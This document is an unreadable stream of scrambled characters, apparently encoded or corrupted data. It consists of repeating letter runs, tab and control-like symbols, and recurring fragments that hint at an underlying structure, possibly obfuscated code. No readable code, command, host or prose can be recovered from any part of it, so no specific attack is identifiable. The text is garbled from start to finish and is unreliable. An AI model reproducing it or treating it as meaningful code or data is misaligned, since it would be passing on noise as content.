U^^ON\mGGGO3GGGGC	VRV8UNGmGGGGSS_UU8O _	S^OSSUNKGGGC	VRV8UN\mGGGGGGO"	GGC	VRV8UNGmGmmmG		GGU	WRONmGGGGGGmGGGGmGGGGGGOFG _	S^OSQ^NO8T OSQQNNNGGmG	\C
_SSZ7/78.)38*&?H7/78.)38*&?\C8VWWQ
WUWZC
_SSLSW\mGGGGGGGmmC8WT
WGGZGGGGT
OSQ^NO _	S^OSPSNNGGXGGGG 8		OV8 ^PRRPWONNGG]GGGG\mGGGOFGGGT
OSPRNOC8WT
WNNGGC8WT
WGGGZGG^WS	8_SOQ^	UOSPQNKGGGN\mGOFGGGG8T OSPRNOC8WT
WNNGGGmG	\mmmGGGGmGmGGGGGGGGOOC8WT
W< _	S^OSPPN:NGAAGGGGGGT
OSP_NOC8WT
W<Q^	UOSPPN:NNGGGGmHMGJG
 JGMHmmGGGC +(%&+4<8T OSP^N:GGGZGWPQ
WUSW OC8WT
W<8T OSPPN:N\mGmGmGGOOC8WT
W<Q^	UOS_WN:NGGGGGAAGGGGQ^	UOS_VNOC8WT
W<Q^	UOS_WN:NNGGGmmmmGGGC +(%&+4< _	S^OS_UN:GGGGZGGWPQ
WUSW OC8WT
W<Q^	UOS_WN:N\mmGmGGGGGGGGGGGOOC8WT
W<T
OS_TN:NGAAGGGGGT
OSWVNOC8WT
W< _	S^OS_TN:NNGGmGGGC +(%&+4<Q^	UOS_SN:GGZGC8WT
W<Q^	UOS_RN:\mHHG	
	G
mmGGGGGmGGGOOC8WT
W< _	S^OS_QN:NGGAAGGGGGGT
OS_PNOC8WT
W< _	S^OS_QN:NGAAGGGT
OSURNOC8WT
W<T
OS_QN:NGGGGYGGGOWULW_NNGmGGC +(%&+4<8T OS__N:GGGGGZGC8WT
W<T
OS_^N:\mmmGGGGGmHHGG	 GG7/7G_ISGmmmGGGGGGOOC8WT
W<Q^	UOSVVN:NGGGGGGAAGGGGQ^	UOS_PNOC8WT
W<T
OS^WN:NGAAG _	S^OSURNOC8WT
W< _	S^OS^VN:NGGGGYGGGOV^^J^^NNGmGGC +(%&+4<8T OS^UN:GGGGZGGC8WT
W<8T OS^VN:\C	W
	SZQPMQ\CTP
^PSTZC	W
	SJSR\mGmGGGGGGO3GGGC	VRV8UNGGGGGGmGGSS_UU8OT
OS^TNKGGGGC	VRV8UN\mGGGGGGGGGGGGO"	GGGC	VRV8UNGGmmmmGmGGmGGGGGmGGGG		GGGGGR8S8 WW	ONmGGmGGmGGGGGGGOFQ^	UOS^SNOT
OSQQNNGGGGFT
OS^SNO _	S^OT^RNNNGG	\mmmGGGGOO	NG 8	OT
OS^RNKGGWNGGGYG _	S^OST^NONGGJGGGOTRSVLR^NNGG	\mGGGGO8T OS^QNO _	S^OSPSNNGGAAGGGG 8		O _	S^OS^PNNNG	\mmmCQTQGGGGGGZGGU ^STT	88O8T OS^_NKGGEEN\mGGOFQ^	UOS_PNOCQTQNGGGG _	S^OS^^NOCQTQNG[GGGGGO^STJSSTNGGGGV UV
RR^QVOCQTQNGGGGGGGFR	^W8POCQTQNNGCS__SZTPWS\C^ZCS__SBVP\mCQTQGGZG\mGC	RQ_
GZG'8T OUUTNOVQ^^WWT
WONN\mmmGGGGGGOC	RQ_
GGAAGGC	RQ_
GYGOQVQJVVQNGGAAGGC	RQ_
GGG[ZGGGGGORUSU_PQVLT^NNGGGGGC	8R_RZ7/78.)38*&?H7/78.)38*&?\CRW RZC	8R_RLV^\mGCS
Q

VGGGGGZG'T
OUTVNOVQ^^WWT
WONN\mGGGGGGGO8T ORWWNOCS
Q

VNGGGAAG _	S^ORWVNOCS
Q

VNGGGYGGOVWS_RT_LT_NNGGCS
Q

VGGZGGGG8_PRSPOCS
Q

VN\mGGOQ^	UORWUNOCS
Q

VNGGGAAGGGFV UV
RR^QVOCS
Q

VNGGGGGAAGGGR	^W8POCS
Q

VNNGGGmHHG*
G]G	 G	JmmG8UQ	
UUO8T OS^_NKGGGCS
Q

VKGG _	S^OV^VNN\mGGCQTQGGGZGCS
Q

V\mGmGGGmmmGGOFCQTQNGCVTQQWZ7/78*&-(581"54.()\C8WTZCVTQQWMV\mGGGGG'8	O8T ORWTNKGGGGGT
OST^NONKGGGT
ORWSNN\mmm	\mmmmGGGGmmGGGGGmGCVSUGZGGGGGOVQ^^WWT
WONN\mGGGGC SVUVGGGZGGGG8^	_SWW	ON\mGGCU^RP^QGGGZGGUVT	PRPOC SVUVN\CTSQ
^ VZOWRLW^_N\C8	8ZCTSQ
^ VBVT\mGGGGGGGOT
OS_VNOCU^RP^QNNGGmmGGGGOCU^RP^QGGC
VT_	^NGmGGGGGGGOT
ORWRNOC
VT_	^KGGGGJOVLTNNGGGGZZZGGGGGGQ^	UORWQNNGGGCVSU<:GGGGZGGGGC SVUVGIGGGGGG@H@GGIGGC
VT_	^\mGGGmmmGGmGGGGO	OQ^	UORWPNNGGGAAGT
OS^QNOQ^	UORW_NNNGGmGGGOONGGGGGG'Q^	UORW_NO0787+2 .)8#.5GIGGG8T ORW^NNGGGGGGC
 
RNGGCVSU<:GZGC
 
R\mmmGGGGmmmmGCVSUGGGGZGG8T ORVWNOCVSUN\mGGCQS
PVTGZGGON\mmmCP8UV8V GGGGGZGQ^	UORWRNOQ^	UORVVNOT
ORVUNKGGEEKGGG8T ORWRNOCQTQKGGWKGGGOT_TTLQVPWTNNNKGGGGWKGGOWUSTLWRNN\mGGGGGOCVSUGGGGGCT
TUP	VNGmGGC

^W UGGGGZGG'8T OUUTNOCT
TUP	VN\mmmGOFC

^W UGGGGGGGGGC

^W UG[ZGOVWS_S^PLP^NNG		\mCRVR
STGZGG'Q^	UORVTNOCT
TUP	VKGGKGG	KGGGGGWKGGGGOQRRUSLVUNN\mGGGGGGGOF8T ORVSNOCRVR
STNGGGGGFV UV
RR^QVOCRVR
STNNG		\mGGGGGGGGGGGGGOCT
TUP	VGGFZZGGVQ^^WWT
WONGAAGGGGG8T ORWRNO8T ORVVNOT
ORVRNKGEEKGCRVR
STNKGWKGGOV^^QLRUNNGGFZZGGGCP8UV8V NGGG		\mGGGGGGCQS
PVT<:GGGGZGGCT
TUP	V\mmGGGGOFCQS
PVTNGGGGmGGGOT
OS^QNO8T ORVQNNNGGGG8		O8T ORVPNKGGGGVKGGGORUQLPSNN\mG	\mGmG'8	OT
ORWTNKGGGT
ORV_NONKGGT
ORWSNN\mGGOCQS
PVTGGGGCU
V

PNGGGmGGGGT8OCU
V

PKGOWQWLWVSSNN\mGGGGGGOTST		RVOCU
V

PKGT
VR	OCQTQNNNGm	_			_OCU
V

PN\mGGG^SSSVTOCU
V

PN\C_PUZ7/78.)38*&?H7/78.)38*&?\CWZC_PULUP\mGGGT8OCU
V

PKGGOUUVLPVNN\mGGGGGGW^SS^8OCU
V

PN\mGGGGOCU
V

PGGZZZGVQ^^WWT
WONNGGGmmmmG	
UVUON\mGGGGT VUON\mGGGGGGGGmGGGGGmT8OCU
V

PKGOUPPLVRNN\mmmGGmmGGGGGGO3GC	VRV8UNGGGGC_
TUZUS_VP^\C_R
W	ZC_
TU9VR\mmmGGGGGGSS_UU8O _	S^ORV^NKGGC	VRV8UN\mGGGGGGO"	GGGGGC	VRV8UNGGmGGGmmGm		GGGUTWTONmmGGmGGGGGGGGGGGC^RTTRGZG\mGGOC^RTTRNG	\mGGC^RTTRGGZGGGG\mGGGmGGGGG	T
R S_ON\mmmGGGR8S8 WW	ON\mmmmG
UON\mmmmU	WRON\mmmmG
SU T

UPSON\mG 
QRPVON\mP
	 SVVON\mGG RSON\mGGGGG^^U UWWON\mGGGGGGGGORQ8U	QONNGGGmGGGGOQ^	UORUWNOQ^	UORUVNNGAAGGGG8	O8T OSSUNNNGGmGGGGGO8T ORUWNOQ^	UORUUNNNGGQ^	UORUUNOQ^	UOSSTNN\mGGGGGGmGGG UWWTO _	S^OSSUNKGGGGQ^	UOSSTNKGGGGWN\mGGGGGmGmmGGGGGGGO3GGC	VRV8UNGCU
^
	Z7/78.)38*&?H7/78.)38*&?\CZCU
^
	LVT\mmmmGGGGGO"	GGGGC	VRV8UNGGGGGGmGGGmmG		G
 
U__
8	ONmGGGGmmGGmGGGGOFT
ORUTNOT
OSSRNNGGGGGGFQ^	UORUTNO _	S^ORUSNNNGGGG	\mGGOFQ^	UORUTNO _	S^ORURNNGGGGGGGGF8T ORUTNOQ^	UOT^RNNNGG	\mGCV_PGGZG8T ORUQNON\mGGGGGGGOCV_PGGGGGJGGGO	NGG' 8	OQ^	UORUPNKGWNG[GGGGGGOTR^QLSNNG	\mGGGGGGGG'8	OT
ORUPNKGCV_PKG _	S^ORU_NN\mmm'T
OSSRNO
8O@H@NKGGO8T OTTPNGGGZYGGGGGUKGGT
OTT_NGGGZYGGGKGGG8T OSS_NGZYGGGGNN\mmGGGGO3GGGC	VRV8UNGmmGGGGO"	GC	VRV8UNGGmGmHHGG	GG07G1G%mmGGGmmmGGG		GRQ8U	QONmGmGGGGOFGG _	S^ORU^NOQ^	UORURNNNGGmGGGG	G\mGGmmGGGGO _	S^ORU^NOQ^	UOSPSNNGGGGAAG 8		OV8 ^PRRPWONNNGGGmmmGGGG	GGG\CQR Z7/78*&-(581"54.()\C^8ZCQR M^\mGGGmGGGGGmGC
PP	RGZGGGRW	PTWUON\mGGGGGGCSW  Q 
GGZG^WS	8_SO _	S^OSPQNKGGGGN\mGGGGGGO8T OS_VNOCSW  Q 
NGGGGAAGOCSW  Q 
< _	S^ORTWN:NGGAAGGGGGGO	NGGGCSW  Q 
< _	S^ORTVN:GGYZGGGGOV^SLVWQNGAAGO	NGGGCSW  Q 
<Q^	UORTVN:GGGG[ZGOVPRV_LQ___UNNGGGC
PP	RGGGGGZGGGGGO	NGGGGCSW  Q 
<8T ORTVN:\mmmGGC
	U^_RRGZGGO	NGGGGGG 8	OT
OSQRNKGWN\mGGGGGGOC
	U^_RRGGYGGGGGWGGGAAGOQ^	UORTUNONGGJGGGGC
	U^_RRNGGGG[GGGC
PP	RNGGGmGGGG	GGGG\mGGGGGmmmmGmGC^^VW8GGGZGGGGGO	NGGG 8	OQ^	UORTTNKGGWN\mGGGOC^^VW8GYGWNGGmmGCV_R^GGZGGGGGGO	NGGG 8	OT
ORTSNKGGWN\mGGC	R8R^GGGZGGOOUQSLTQNKGGGGGGOVRUTJQUTNKGGGGOVPTQLQSNKGOTRTPLQTNKGGOTRUSLPQNN\mGGGC	SWGZGGGGC	R8R^<T
ORTRNOWKG8T ORTQNOCV_R^GGGJGVKGGGGOVLTNNN:\mmmGGGGGC	SWGGGLZGGGGT
OSSWNOWKGGGO	NGGOC	SWGGGGGMGWIURNN\mGGGGGGGOOQ^	UORTUNONGGJGC^^VW8NGGGGG[GC	SWNGGGGGmHHG'	GmmGGGG	GG\mGGGGGmmGGGGmGGGGGG	GGG\mGmmG		GGGGU
	ONmGGmGCV_R^GGGZGGO	NG 8	O8T ORTSNKGGGGWN\mG8	OQ^	UORTSNKGGGCV_R^GGLGGVN\mGGG8	OQ^	UORTTNKGGQ^	UORTUNONN\mmGGGGGmmGGGGGG		GRW^S_W^TW	_ONmmGGGmHHG07G!G.
 ]G	
G	mmGGGGGC	VSWQTGGZGGGON\mGGGGmGGGGGGC	VSWQT<8T ORTPN:GGGZG _ Q	QTPON\mGGGC	VSWQT<8T ORT_N:GGZGGGGGG7/781"54.()\mGC	VSWQT<8T ORT^N:GGZGGGGT
O_TNON\mC	VSWQT< _	S^ORSWN:GZGGGGOT
ORSVNO8T ORSUNNGGGAAG8ONNGGGXGVGGGG]GGW\mC	VSWQT<T
ORSTN:GGZGOT
ORSVNOQ^	UOUUPNNGGAAGGG8
ONNGGXGVGG]GGW\mGGGmmGGGGC	VSWQT<Q^	UORSSN:GGGGGZGGOC +(%&+4< _	S^ORSRN:NGXGGGO	 NGGGGGC +(%&+4<8T ORSRN:GGG]GEE\mC	VSWQT<Q^	UORSQN:GGZGOC84"51"5< _	S^O_QN:NGGGGGXGGGQ^	UORSPNOO	 NGGGGGGC84"51"5< _	S^O_QN:KGGGWKGGGOPLTTNNG]GGGGEE\mmGC^WPGGGZGGGGOOC +(%&+4<T
ORS_N:NGAAGGQ^	UORS^NOC +(%&+4< _	S^ORRWN:NNGGGGGXGGGGT
OT^VNOC +(%&+4<8T ORRWN:NGG]GGEE\mmmC	VSWQT<8T ORRVN:GGGZGOC^WPGGGFZZGGGEENGXGVGGGGG]GGGGGW\mGGGGGC	VSWQT<8T ORRUN:GGGZGGGG8T ORRTNOC^WPN\mGGGGC	VSWQT<T
ORRSN:GZGGF
OC +(%&+4<8T ORRRN:NGGXGGGGGGVGG]GW\mmmmC	VSWQT<T
ORRQN:GZGGGF
OC +(%&+4< _	S^ORRPN:NGXGGGGVGG]GW\mGGC	VSWQT<Q^	UORR_N:GZGGGT
ORR^NO _	S^ORURNNGGGGGGXGGO	NGGGGG' 8	O8T ORQWNKGWNGGG]GGGGW\mmGGGGGGC	VSWQT< _	S^ORQVN:GGGGGZGOUTQ	8ROQ^	UORQVNKGEENGGFZZGGGGEENGXGGGGVG]GW\mGGGGGGGC	VSWQT<8T ORQUN:GZGGT
ORR^NO8T ORURNNGXGO	NGGG' 8	O8T ORQTNKGWNG]GGGW\mGC	VSWQT< _	S^ORQSN:GGZG _	S^ORR^NO8T ORURNNGGXGGGGO	NGG' 8	O8T ORQRNKGGGGWNGGG]GGGGGW\mGGGGGGC	VSWQT< _	S^ORQQN:GZGGQ^	UORQPNOQ^	UORURNNGGGXGGGGGO	NGGGG' 8	OT
ORQ_NKGWNG]GW\mCS VQWGGZGUP_W
_^ON\mGGGGGC	VSWQT<8T ORQ^N:GGZGGGGGG' _	S^ORPWNOCS VQWGIGG8T ORPVNNGGXGOS		O'Q^	UORPUNOCS VQWGIGGGG8T ORPVNKGGGKGG	KGWKGGGO_VVVL_VNNNGXGGGGGUGGG]GGVNGG]GGGW\mmmGGC	VSWQT< _	S^ORPTN:GZGG'T
ORPSNOCS VQWGGIG _	S^ORPRNNGGXGOS		O'Q^	UORPQNOCS VQWGIGGGT
ORPRNKGKGGGG	KGGGWKGGGGO_VQTLU^NNNGXGGGUGGG]GGGVNGGG]GGGGGW\mC	VSWQT<T
ORPPN:GZGG'T
ORPSNOCS VQWGGGIGG8T ORP_NNGXGGOS		O'T
ORPQNOCS VQWGGGGIGGGGG8T ORP_NKGKG	KGGGGWKGGGGGGO_VVUL_WNNNGXGGGGUGG]GGVNGGGGGG]GW\mC8P
P GGZGGGG _	S^ORP^NGGGGGIGGG^O&%47&3/GIG@ @KGGOVTJRNN\mGGGGGCPQ
P8^ WGGGGGZGGGGGQ^	UOR_WNGIGGGGG^O&%47&3/GIGG@ @KGGOVTJRNN\mGGGGC	VSWQT< _	S^OR_VN:GGGZGW\mGGGGOO
U	_T _ONKGGCS VQWKG&%47&3/GGIGG8T OR_UNNGGGCQ WQVRNGGmGGGO'Q^	UORPSNOCQ WQVRGGIG@H@GGIGGC8P
P GGIGGT
ORWQNNNGGGGGC	VSWQT<Q^	UOR_VN:GZGGV\mGGO'T
ORPSNOCQ WQVRGGGGGGIGGGGG@H@GGGIGGCPQ
P8^ WNGAAGGGGO	NG'8T OUWUNOCQ WQVRGGGGGIGG@H@GIGGGGGCPQ
P8^ WNGGYGGQ^	UOR_TNONGGGJGGGOTR_JVV_NNGGGmC	VSWQT<Q^	UOR_SN:GGGGGGZGGU\mGGG\mmmmGGGGGGmG	OCPQ
P8^ WKGGCQ WQVRN\mGGC8^V8_TGZG8T OR_RNOT
OSRSNNGGXGG'8T OSRSNOQ^	UOR_QNNGG]G\mGGGGGOF _	S^OR_PNOC8^V8_TNGGGGGC8^V8_TGZZZGGGGGEEGGGGGGGGGC8^V8_TGGGZZZGGGT
OR__NNGC8^V8_TGGZGGGGG8T OR_^N\mC	VSWQT< _	S^OR^WN:GGZGGGO'T
ORPSNO&%47&3/GIGC8^V8_TNGAAGGGGQ^	UOTQQNOO	 NGG'T
ORPQNO&%47&3/GGIGGGGC8^V8_TNKGG8T OR^VNNGGFZZGGGGGNGGGXGGVGGG]GGW\mC	VSWQT<T
OR^UN:GGZGGO'8T OR^TNO&%47&3/GGGGGIGGGGGGT
OR^SNNGGAAG8T OTQQNOO	 NGGG'8T ORPQNO&%47&3/GIGGQ^	UOR^SNNKGT
OR^RNNGGGFZZGGGGGGNGGXGGGGVGGG]GGGW\mmmC	VSWQT<T
OR^QN:GZGGGO'8T OR^PNO&%47&3/GGIGGGG _	S^OR^_NNGGAAG _	S^OTQQNOO	 NGG'8T OR^^NO&%47&3/GGGIGGGGT
OQWWNKGGGKG	KGGGGGGWKGGOQRRUWLVQNNKGGT
OQWVNNGFZZGGGNGGGXGGGVGG]GW\mmmmGGC	VSWQT<Q^	UOQWUN:GZG	O8T OQWTNNGGGGGGXGGVGGGGG]GW\mGGGGGGC	VSWQT<Q^	UOQWSN:GGGZGGGGGGO	OT
OQWRNNGGG	O8T OQWQNNGGG	O8T OQWPNNGGGQ^	UOR_RNO8T OQW_NNGGGGGGGGGGGG _	S^OQW^NO8T OQVWNNGGGGGGGGGGOC +(%&+4<Q^	UOQVVN:NGGGGQ^	UOQVUNOQ^	UOQVTNNNGGGGGXGVGG]GGW\mGC	VSWQT< _	S^OQVSN:GGZGGGGO	NG 8	OQ^	UOSQRNKGGGGWN\mC	VSWQT< _	S^OQVRN:GZGGGGO	NGG 8	O _	S^OQVQNKGGWN\mGC	VSWQT<8T OQVPN:GGGGZGO	NGGGG 8	O8T OQV_NKGGGWN\mmmCTTW^ GGGZGGGGGU ^STT	88O _	S^OQV^NKGONN\CQZQ^W\CR	ZOCQYWNXCQ]JCQ\mmGC_US^URGGGGGZGGW\mmGGGGCW8QGGGZGGW\mGGGGGGGOQ^	UOS_VNOCTTW^ NNGGGGmmmmGGGGGGGGOCTTW^ GGGC
VT_	^NGGGGGmmmGGGGGO	8TP	_UVSOC
VT_	^NGGGZZZGGGGEENGG		\mmC_US^URLL\mmGGCUT^_GGZGGG _	S^OS_VNOC
VT_	^NGGXGO	NGGOOC
VT_	^<Q^	UOQUWN:NGGGGXGGC
VT_	^<8T OQUWN:G]GGGVNGGGG]GGGV\mGGCVS^8^GGGZG _	S^OS_VNOC
VT_	^NGAAGGGGOC
VT_	^<Q^	UOQUVN:NGXGGO	NGGC
VT_	^< _	S^OQUVN:GG]GW\mGGGGGOFCUT^_GAAGGGGOFCVS^8^GGGGCVS^8^G[GGQ^	UOQUUNONGGGGJGGGOTRRWLRWNNNGCW8QLL\mmmmGGGGmGmGGC	VSWQT<T
OQUTN:GGZGC_US^UR\mmGGC	VSWQT<8T OQUSN:GGGGGGZGGGCW8Q\mGGGGCURGGGGGZGGQ^	UOQVUNOQ^	UORURNNGGGGGXGG' 8	O _	S^OQURNKGEENGGGGGG]GGGGGGEE\mGGGGC	VSWQT<Q^	UOQUQN:GGGZGGGT
OQUPNOCURNGGXG8T ORSPNOCURKGGGGWKGGGGOUT^9UTSNNGGGGGG]GGGEE\mGC8 ^TTSGGZGT
OQVUNO _	S^ORURNNGGGGGXG' 8	O8T OQU_NKGGGONNGG]GGGGON\mGGGGC	VSWQT<8T OQU^N:GGZGOT
OS_VNOC8 ^TTSNGGAAGOF
OC8 ^TTS<@@:NGGGGGGGF
OC8 ^TTS<T
OQTWN:NNNGXGGGVGGGG]GGGGGGW\mGGGGGGGGGGO3GC	VRV8UNGmGGGGGGC	VSWQT<T
OQTVN:GZG _	S^OQTUNOC	VRV8UJY * ONKGWKGGGOSULV_NN\mGGGGGGO"	GGGGC	VRV8UNGGGmmmmGGGC	VSWQT< _	S^OQTVN:GZG8T OQTTNOC	VRV8UJY * ONKGWKGGGOWU_LWVSNN\mGmmmGGGGGGG	GGC	VSWQT\mmGmGGG		GG
8VSURPTONmmGGGGGGGO _	S^OQVUNO8T OQTSNNNGGGGGmGGGGG	GGO	 NGGG8O _	S^OQTRNN\mGGGGGGmG	G8T OQVUNO8T OQTQNNGGXGGGO	 NGGGGG8 	8ONGGG]GGEE\mGmmGmGGGGG		G WOC		^U88NmGGmGCS
^	SGZGGGEE\mGGGGGGO8T OQVUNO8T OQTPNNNGGGmHHG	JGmmGGCS
^	SGGGGZGGO	 NGGGGGGT
OQT_NO
8ONKG		O _	S^OQT^NNN\mGGGmGGGOFGGGGCS
^	SGGAAGG8T OQVUNO8T OQSWNNNGmGGCS
^	SGZGGO	 NGG _	S^OQT_NO 88ONKG		O _	S^OQT^NNN\mGmGGGGGGOFGGGCS
^	SGGGGGAAGT
OQVUNO8T OQSVNNNGmGCS
^	SGGZGO	 NGGGGGGT
OQT_NO 8 	OT
OQSUNNKGG		O8T OQT^NNN\mmGGGOFGGCS
^	SGGAAGGG _	S^OQSTNOT
OQSSNNNGGGGGmGGCS
^	SGZGO	 NGGGG _	S^OQT_NOO	 NGGG 8	O8T OQSRNKGGGEENKGG		OQ^	UOQT^NNN\mGGGGGmGGGGOFGGGCS
^	SGAAGOC84"51"5<Q^	UOQSQN:NNGGmmGCS
^	SGZGGO	 NGGGGC84"51"5<Q^	UOQSQN:\mGmmmGOFGCS
^	SGGAAGOC84"51"5< _	S^OQSPN:NNGGGGmGGGGGGGCS
^	SGGZGGGGO	 NGC84"51"5<Q^	UOQSPN:\mGmGGGOFGGCS
^	SNGGGGmHHG07G3G%]GG
mm	GC		^U88\mGGGmG	GGGCS
^	S\mGGm		GGGGU
U^^ONmGmGGGGGGGGGmHMG	
GGMHmmmmGCP_	UGGGGGZGGGT
OQS_NO _	S^OSRSNNGXGGGO	NGGG' _	S^OQS^NO8T OQRWNNGG]GGGW\mGGO _	S^OQS_NO _	S^OSPTNNNG'Q^	UOQRVNOOV^TJVTNN\mGGC_P^TGZGGOCP_	UGYGGOWLWQNGAAGGCP_	UGGGG[GOSR[[UNNGXGOCP_	UGGGJGGGGGGO_LUNNGG]GOOCP_	UGGGGGGYGGGGWGGAAGGGGCP_	UGG[ZGGGGOTS9RSNNGGXGOPLTNGG]GGGGGGOWV^LWSVNN\mGGGGGGOFGGGGRQ8U	QONNGGmG	\mmmGGGGGmmmmGGGGOF
^PURR^_Q
^	SVO8T OST_NNNGGGGGGmGG	\mmGGmGGGGmCQ^8GGZGGGQ^	UOQRUNON\mmmGGGC_GZGGGPQ_VRTVON\mGGGGGGOmFGGGT
OS_VNOC_NmGGFGOC_< _	S^OT_RN:NGGGGGGGGFGGGGG _	S^OQRTNOC_< _	S^OQRSN:NGGFGGGGGC_< _	S^OQRSN:mGGGGGGFGGGGOC_<Q^	UOT^UN:NGGGGGGFGT
OS_VNOC_<Q^	UOT^UN:NGGGGGG
OC_<Q^	UOT^UN:NmGGGNGmmmmGGGU
	ON\mGG	\mGmGC
W8^SQGGZGGC_<8T OQRRN:\mGCU^^PVRGGGGZGGC_< _	S^OT^UN:\mGG8UQ	
UUO _	S^OT__NKGC
W8^SQKGGT
OQRQNN\mmmmGGGGCQQP_WPQSGGGGZGQ^	UOQS_NO8T OQSSNNGXGGGGO	 NGG 8	O _	S^OQRPNKGGGGGGEENGGG]GEE\CUU__Z___Q\CSUTZCUU__B_\mGGGGGOCQQP_WPQSGGGGFZZGGGGGEEGGGAAGG _	S^OV^RNOCQQP_WPQSKGCU^^PVRKGGGGGNNGmGGGCU^^PVRGGZGG8T OT^WNOT
OV^QNOCU^^PVRKGOCQQP_WPQSNNN\mGGGT
OQR_NOCU^^PVRN\mGGGG8T OQR^NOCU^^PVRKGGCQQP_WPQSN\mGGGGGGGGGOQ^	UOQQWNOCU^^PVRNGYGGGVNGGmGGGGGQ^	UOQR_NOCU^^PVRN\mGGGGGGGmHMG
	 G	J
GMHmmmGGGGGGGOOQ^	UOQRUNONGGJGCQ^8NGGGGGYGGGGGO	NGGGGGOC_P^TGMGGGWIQNNGGGGmHHGJ	GGG07G5G4mmGGGU
	ON\mGGGG	\mmGGmGmGGCV^_	
	_TGGZGG8T
^ PRSON\mGGGST
PSVQQ_P OCV^_	
	_TN\mGmmmmGCP_WGGGGZGGGON\mmmmGGGGGGGGOT
OQS_NOQ^	UOQQVNNNGGmGGGOONGG 8	O8T OUUQNKGGGONNGGGGGGCT
TUP	VNGGGmmmmGGGOQ^	UOQRTNOCT
TUP	VNGAAGGGGCT
TUP	VNGGmGGGCP_W<:GGGGZGGGGCT
TUP	V\mmGGGmGGGmHHG7/7G
G	]GG	mmGmC
U_GZGGGON\mGGO	O8T OVSNNNGGmGGGC
PT_VVQGGGZGGGQ^	UOQS_NO _	S^ORW_NNGGGGGXGGGGG'Q^	UORW_NO _	S^OVTNO07*287+2 .)8#.5KGG@H@NGGIG _	S^OQQUNNGG]G\mGGGGO _	S^OQQTNOC
PT_VVQNNGGGmGGGGOC
PT_VVQGGGGGGGCU
V

PNGGGmGC
U_<:GGZG8T OURPNOCU
V

PN\mGGGGGmHHG G		G
JmmmmmGGGGmmGGGmCT
RWGZGGGGGGOmmmmG8T OQQSNGGZYGGG WOEENKmGGT
OQQRNGGGZYG _ Q	QTPONKm _	S^OQQQNGGGGGZYGG _	S^OURPNOVQ^^WWT
WONKGGT
ORWQNNKmG8T OQQPNGGGGGZYGGG _	S^OQQ_NO&%47&3/KGT
OVWQNNKmT
OQQ^NGGZYGGCP_WKmGGG _	S^OQPWNGZYGGGC
U_KmT
OQPVNGGGZYGGGG
8VSURPTONKm8T OQPUNGZYGGGGS
88S8^WRPOCV^_	
	_TNKmmmmG8T OQPTNGGGZYGG	8SWQOCV^_	
	_TNKmGGGGGGQ^	UOSUUNGGGZYGGOC	S		_WGZGG 	QU	 T
ONNKmGGGGGGmN\mmmmGGCQPQGGZGG _	S^OQS_NOQ^	UOQPSNNGGGXGGGGG8	8	OCT
RWNGG]GGGGGGT
OQPRNOCT
RWN\mGGGGGGC	S	 T	GGGZGSWTP^8OCQPQKGC
W8^SQN\mCV_UWQTGGGZGGOQ^	UOQPQNGGGZYGGG8T OQPPNN\mmmmGC8 

S GGGZGG	\mmmmGGU
	ON\mmGGOCU^^PVRGGC
_VQ NGmGmGGGGOO8T OQRUNONGGGGGGJGGCQ^8NGGGYGGC_P^TNGGGmGGGG\mmGGmGGmGC
_VQ GGGGGZGG8T OT^VNOO	 NGGGGGGC
_VQ N\mmGGGOFGGC
_VQ NGm		\mmGGGGGGGGGGmHHG	G			 mmmmmGGGGGCTVVVUGGGGGGZGGC
W8^SQ\mmmmGC
T	 
GGZGGGVVP V^P_POC
_VQ KGC	S	 T	KGGGCV_UWQTKGGOVU_9VT_NKGG		GGOCVNGGGOCTVVVUNGGGGGGmC	VSWQTGGZGGGGGSWTP^8OCVKGCTVVVUN\mmGGGOFC	VSWQTNGGGGG	GGG\mGG	GGGQ^	UOQP_NO' _	S^OTQUNO _	S^OT^VNOC	VSWQTNKGGGNN\mN\mGGGOFGGC
T	 
NGGGmSS_UU8OT
OSPVNKGGGGT
OQP^NGGGIGGC
_VQ N\mGG		\mGGGGGmHHG745JPG
 ]G	
GmmmGGmGC
P_	GGGGZGSWTP^8OC
T	 
KGC
W8^SQN\mGGGGOFGGGGC
P_	NGGGGmGGGGGSS_UU8O _	S^OSPVNKGGGT
OQ_WNGGIGGC
_VQ N\m		\mmGC8 

S GGGZG'8T OTQUNOT
OQ_VNOC
P_	NKGGGGGN\mmmmGGGGGGGOQ^	UOQP_NOC8 

S NNGGmmGGGGGGO8T OQS_NO8T OT^RNNNGGGmHHG07G53G&7.G	GmmmGGGGG8	O _	S^OQRPNKGGC
_VQ N\mGGmGG\mGGGGGGGGGGGGGmGGGGGGSS_UU8O8T OSPVNKGQ^	UOQ_UNGGGGIGGC
_VQ N\mGGGGGGGmGGGGGO3GGC	VRV8UNGGGmGGGGGGSS_UU8O8T OQ_TNKGC	VRV8UN\mG		\mGGGGGO"	GGGGGC	VRV8UNGGGGGmGGGG		\mGGmmmGGGGGGGGGOFGGGGGQ^	UOQP_NOC8 

S NNGmGGCRGZGGSWTP^8O _	S^OQPRNOOmGT
OQQSNGZYGGGG WOEENKmGG8T OQQRNGZYGG _ Q	QTPONKmmG _	S^OQQQNGZYGG8T OURPNOVQ^^WWT
WONKG8T ORWQNNKmmGGG _	S^OQ_SNGGZYGGVKmmGNNKGGC
W8^SQN\mGGCQP 8GGGGZGG _	S^OQQ_NOOQ^	UOT^^NOCRNKGGT
OQ_RNKGGGQ^	UOQ_QNNKGG@Z@N\mGGGGC WW
WUGZGGGGG _	S^OQ_PNOCQP 8KGGOUU_RJ__RNN\mGGGGOCU^^PVRGGGGGC
_VQ NGmmGGGGGGGGOO _	S^OQ__NONGGGGJGGGGGCQ^8NGYGGGC_P^TNGGGmGGGG\mmGGGC
_VQ GGZGGG _	S^OQ_VNOO	 NGC
_VQ N\C^W_Z7/78.)38*&?H7/78.)38*&?\C^8V
WZC^W_LSQ\mGOC
_VQ GGGZZZGGEENGmHHG'
	
G		mmGGG		\mGGGGGGmGGCR
SGZGG^O WOEENGGGGGGIGGG8T OQ__NONKGGGGOVVJTNN\mmGGGGC

WUW VGZGGG8T OQ_^NOC WW
WUN\mGGGC UV^TRWGGZGGGO8T OTQQNOC
_VQ KGGGGGG@X@NGZZZGGNGGGXGG@X@GG]GGG@A@\mGGGGGGOCWR_QURGZGW\GGCWR_QURGGG[GGC

WUW V\GCWR_QURLLNGmmmGGOOQ^	UOQ^WNONGJGGGGCQ^8NGYGGC_P^TNGmGGGG\mGmGGGC_SRV	T

GZGGGOCWR_QURGZZZGC

WUW VGGJGGVN\mGGCVGZGGGGC
_VQ GGGIGGGC UV^TRWGGGIGGGG8T OQ^VNGIGCR
SGIGGT
OQ^UNGIGCWR_QURGIGGGG _	S^OQ^TNGGGIGC

WUW VGGGIGGG _	S^OQ^SNGGGGIGC WW
